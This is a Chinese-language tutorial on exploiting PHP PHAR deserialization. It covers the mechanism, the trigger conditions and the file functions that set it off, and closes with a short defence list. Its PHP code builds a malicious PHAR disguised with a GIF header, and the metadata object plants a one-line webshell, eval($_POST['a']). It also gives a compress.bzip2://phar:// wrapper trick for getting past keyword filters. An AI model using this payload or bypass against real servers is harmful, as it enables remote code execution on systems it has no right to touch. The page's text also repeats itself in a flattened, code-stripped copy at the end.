PHAR反序列化拓展操作总结
字数 1698 2025-08-18 11:38:45

PHAR反序列化漏洞利用全面指南

1. PHAR反序列化漏洞概述

PHAR反序列化漏洞是一种通过PHP的phar://协议触发反序列化操作的安全漏洞。该漏洞由Sam Thomas在2018年BlackHat大会上首次提出,核心原理是当使用phar://协议处理PHAR文件时,PHP会自动反序列化文件中的metadata数据。

1.1 漏洞原理

在PHP处理PHAR文件时,php_var_unserialize()函数会被调用来解析metadata部分。攻击者可以构造恶意的PHAR文件,其中包含精心设计的序列化数据,当这些数据被反序列化时,会触发PHP对象的魔术方法(如__wakeup()__destruct()等),从而导致任意代码执行。

2. 漏洞触发条件

要成功利用PHAR反序列化漏洞,需要满足以下条件:

  1. PHAR文件上传:能够将恶意PHAR文件上传到目标服务器
  2. 文件操作函数:存在可触发phar://协议的文件操作函数
  3. 魔术方法存在:目标代码中存在可利用的魔术方法
  4. 参数可控:文件操作函数的参数可控,且未严格过滤phar://等特殊协议

3. 可利用的文件操作函数

几乎所有文件系统函数都可以用来触发PHAR反序列化:

3.1 基础文件函数

  • fileatime() / filectime() / filemtime()
  • stat() / fileinode() / fileowner() / filegroup() / fileperms()
  • file() / file_get_contents() / readfile() / fopen()
  • file_exists() / is_dir() / is_executable() / is_file()
  • is_link() / is_readable() / is_writeable() / is_writable()
  • parse_ini_file()
  • unlink() / copy()

3.2 图像处理函数

  • exif_thumbnail()
  • exif_imagetype()
  • imageloadfont()
  • imagecreatefrom*系列函数
  • getimagesize()
  • getimagesizefromstring()

3.3 哈希计算函数

  • hash_hmac_file()
  • hash_file()
  • hash_update_file()
  • md5_file()
  • sha1_file()

3.4 其他函数

  • get_meta_tags()
  • get_headers()
  • ZipArchive相关操作

4. PHAR文件构造方法

4.1 基本PHAR文件构造

<?php
class TestObject {
    public $data = 'cck';
}

$phar = new Phar("phar.phar"); // 后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); // 设置stub

$o = new TestObject();
$phar->setMetadata($o); // 将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); // 添加要压缩的文件
$phar->stopBuffering();
?>

注意:需要在php.ini中将phar.readonly设置为Off才能生成PHAR文件。

4.2 伪装成其他文件格式

PHAR文件可以通过添加文件头来伪装成其他格式的文件,如GIF:

<?php
class TestObject {
    public $data = 'cck';
}

$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>'); // 添加GIF文件头
$phar->addFromString('test.txt','test');
$object = new TestObject();
$phar->setMetadata($object);
$phar->stopBuffering();
?>

5. 漏洞利用实战

5.1 简单利用示例

假设存在以下漏洞代码:

<?php
$filename = $_GET['filename'];

class AnyClass {
    var $output = 'echo "cck";';
    function __destruct() {
        eval($this->output);
    }
}

file_exists($filename);
?>

利用步骤:

  1. 构造恶意PHAR文件
  2. 上传PHAR文件(可能需要伪装成其他格式)
  3. 通过phar://协议触发反序列化

5.2 构造RCE的PHAR文件

<?php
class AnyClass {
    var $output = 'phpinfo();';
    function __destruct() {
        eval($this->output);
    }
}

$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>');
$phar->addFromString('test.txt','test');
$object = new AnyClass();
$object->output = 'eval($_POST["a"]);'; // 一句话木马
$phar->setMetadata($object);
$phar->stopBuffering();
?>

5.3 绕过限制的技巧

  1. phar关键字被过滤:使用其他包装器嵌套

    compress.bzip2://phar://upload_file/shell.gif/a
    
  2. 文件类型限制:添加相应文件头并修改后缀名

  3. 文件内容检测:确保PHAR文件内容符合检测要求

6. 防御措施

  1. 禁用危险函数:在php.ini中禁用不必要的文件操作函数
  2. 协议过滤:严格过滤用户输入中的phar://等危险协议
  3. 文件上传限制:严格检查上传文件的内容而不仅是扩展名
  4. 禁用魔术方法:避免在魔术方法中执行危险操作
  5. 使用最新PHP版本:新版PHP对PHAR处理有更多安全限制

7. 总结

PHAR反序列化漏洞是一种危害性大、利用条件相对宽松的漏洞类型。攻击者只需要能够上传文件并找到触发点,就可能实现远程代码执行。防御此类漏洞需要从文件上传、输入过滤和代码安全多个层面进行防护。

PHAR反序列化漏洞利用全面指南 1. PHAR反序列化漏洞概述 PHAR反序列化漏洞是一种通过PHP的phar://协议触发反序列化操作的安全漏洞。该漏洞由Sam Thomas在2018年BlackHat大会上首次提出,核心原理是当使用phar://协议处理PHAR文件时,PHP会自动反序列化文件中的metadata数据。 1.1 漏洞原理 在PHP处理PHAR文件时, php_var_unserialize() 函数会被调用来解析metadata部分。攻击者可以构造恶意的PHAR文件,其中包含精心设计的序列化数据,当这些数据被反序列化时,会触发PHP对象的魔术方法(如 __wakeup() 、 __destruct() 等),从而导致任意代码执行。 2. 漏洞触发条件 要成功利用PHAR反序列化漏洞,需要满足以下条件: PHAR文件上传 :能够将恶意PHAR文件上传到目标服务器 文件操作函数 :存在可触发phar://协议的文件操作函数 魔术方法存在 :目标代码中存在可利用的魔术方法 参数可控 :文件操作函数的参数可控,且未严格过滤phar://等特殊协议 3. 可利用的文件操作函数 几乎所有文件系统函数都可以用来触发PHAR反序列化: 3.1 基础文件函数 fileatime() / filectime() / filemtime() stat() / fileinode() / fileowner() / filegroup() / fileperms() file() / file_get_contents() / readfile() / fopen() file_exists() / is_dir() / is_executable() / is_file() is_link() / is_readable() / is_writeable() / is_writable() parse_ini_file() unlink() / copy() 3.2 图像处理函数 exif_thumbnail() exif_imagetype() imageloadfont() imagecreatefrom* 系列函数 getimagesize() getimagesizefromstring() 3.3 哈希计算函数 hash_hmac_file() hash_file() hash_update_file() md5_file() sha1_file() 3.4 其他函数 get_meta_tags() get_headers() ZipArchive相关操作 4. PHAR文件构造方法 4.1 基本PHAR文件构造 注意 :需要在php.ini中将 phar.readonly 设置为Off才能生成PHAR文件。 4.2 伪装成其他文件格式 PHAR文件可以通过添加文件头来伪装成其他格式的文件,如GIF: 5. 漏洞利用实战 5.1 简单利用示例 假设存在以下漏洞代码: 利用步骤: 构造恶意PHAR文件 上传PHAR文件(可能需要伪装成其他格式) 通过phar://协议触发反序列化 5.2 构造RCE的PHAR文件 5.3 绕过限制的技巧 phar关键字被过滤 :使用其他包装器嵌套 文件类型限制 :添加相应文件头并修改后缀名 文件内容检测 :确保PHAR文件内容符合检测要求 6. 防御措施 禁用危险函数 :在php.ini中禁用不必要的文件操作函数 协议过滤 :严格过滤用户输入中的phar://等危险协议 文件上传限制 :严格检查上传文件的内容而不仅是扩展名 禁用魔术方法 :避免在魔术方法中执行危险操作 使用最新PHP版本 :新版PHP对PHAR处理有更多安全限制 7. 总结 PHAR反序列化漏洞是一种危害性大、利用条件相对宽松的漏洞类型。攻击者只需要能够上传文件并找到触发点,就可能实现远程代码执行。防御此类漏洞需要从文件上传、输入过滤和代码安全多个层面进行防护。